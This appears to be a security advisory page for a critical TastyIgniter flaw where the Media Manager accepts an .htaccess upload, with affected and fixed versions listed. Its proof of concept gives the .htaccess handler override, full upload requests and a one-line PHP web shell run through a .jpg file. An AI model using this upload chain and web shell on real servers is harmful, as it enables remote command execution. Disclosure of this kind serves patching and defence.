Skip to content

CVE-2026-69179 TastyIgniter allows Remote Code Execution (RCE) via Unrestricted file upload in Media Manager

CriticalCVSS 9.1
Published
Unknown
Updated
Exploit status
No public exploit known
Technology
PHP

Description

Summary

Media manager accepts .htaccess file which can be used to perform RCE.

Details

The file upload functionality from media manager somehow accepts .htaccess file. This file could be used to allow any extension to run PHP command. By doing so, it is possible to perform RCE.

PoC

  • Login as Admin
  • Create a .htaccess file with the following code.
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>
  • Upload the .htaccess file via the Media Manager.

Request

POST /admin/media_manager HTTP/1.1
Host: localhost:8888
Content-Length: 357
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-IGNITER-FILEUPLOAD: mediamanager
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/media_manager
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhk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maFgzcEtyVVNZK3pMLzBxL2NnU3MwVUIvaW0zMmhacWRvYnMzUzF2NXhDenZ1MFZkK1ErZ0FscGlRUFVpMC80YlBKWHNyVDFCTWR6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D
Connection: keep-alive

------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="path"

/
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="file_data"; filename=".htaccess"
Content-Type: image/png


<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryN13ytndlhtodIsbE--
  • Once this step is done, just upload a php file with .jpg extension to execute php code.
POST /admin/media_manager HTTP/1.1
Host: localhost:8888
Content-Length: 310
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-IGNITER-FILEUPLOAD: mediamanager
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/media_manager
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0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NhODQ3NjlkNDgzMzc0N2FkZjM0YTJjMDI5MTBhZjc3MmZiNzI2YTc3NTBmNWY2OTFiNTBmMGRlNDg4IiwidGFnIjoiIn0%3D; tastyigniter_session=eyJpdiI6ImpoQldjRHJMTlJCMXlxVWVnbmt4QUE9PSIsInZhbHVlIjoicS9nRENOZDgvRURBL2kvM1VSOTFmaFgzcEtyVVNZK3pMLzBxL2NnU3MwVUIvaW0zMmhacWRvYnMzUzF2NXhDenZ1MFZkK1ErZ0FscGlRUFVpMC80YlBKWHNyVDFCTWR6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D
Connection: keep-alive

------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="path"

/
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="file_data"; filename="test.jpg"
Content-Type: image/png


<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryN13ytndlhtodIsbE--
  • in the example, we uploaded a test.jpg
  • execution the php code
<img width="846" height="205" alt="image" src="https://github.com/user-attachments/assets/4da71cfb-65f6-4580-9bb8-b352713451d9" />

Impact

Attacker with admin access could abuse this vulnerability to run command directly in the server.

Upgrade path

1 package: 1 fixed.

PackageAffectedFixed inStatus
tastyigniter/tastyigniter(Packagist) < 4.3.1; = 2.1.0; = 2.1.0-rc.1; = 2.1.0-rc.2 +105 more 4.3.1 Fixed

Affected products

ProductAffected versionsFixed in
tastyigniter/tastyigniter(Packagist) < 4.3.1 4.3.1
tastyigniter/tastyigniter(Packagist) = 2.1.0 No fix listed
tastyigniter/tastyigniter(Packagist) = 2.1.0-rc.1 No fix listed
tastyigniter/tastyigniter(Packagist) = 2.1.0-rc.2 No fix listed
tastyigniter/tastyigniter(Packagist) = 2.1.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v0.5.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v1.0.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v1.1.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v1.2.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v1.2.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v1.3.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v1.3.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v1.4.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v1.4.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.10 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.11 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.12 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.13 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.14 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.15 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.16 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.17 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.18 No fix listed
Show 84 more
ProductAffected versionsFixed in
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.19 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.20 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.20.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.21 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.22 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.22.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.22.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.22.3 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.22.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.23 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.23.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.23.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.24 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.24.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.24.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.24.3 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.24.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.25 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.25.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.25.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.26 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.27 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.28 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.3 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.5 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.6 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.7 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.8 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.9 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.4-beta.9.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.5 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.6 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.7 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.0.8 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.1.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.1.0-rc.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.1.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.1.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.2.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.2.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.2.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.3.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.3.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.3.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.4.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.4.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.5.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.5.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.5.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.5.3 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.5.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.5.5 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.3 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.5 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.6 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.7 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.8 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.6.9 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.7.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.7.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.7.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.7.3 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.7.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.7.5 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.7.6 No fix listed
tastyigniter/tastyigniter(Packagist) = v3.7.7 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.0.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.0.0-beta.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.0.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.0.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.0.3 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.0.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.2.0 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.2.1 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.2.2 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.2.3 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.2.4 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.2.5 No fix listed
tastyigniter/tastyigniter(Packagist) = v4.3.0 No fix listed

References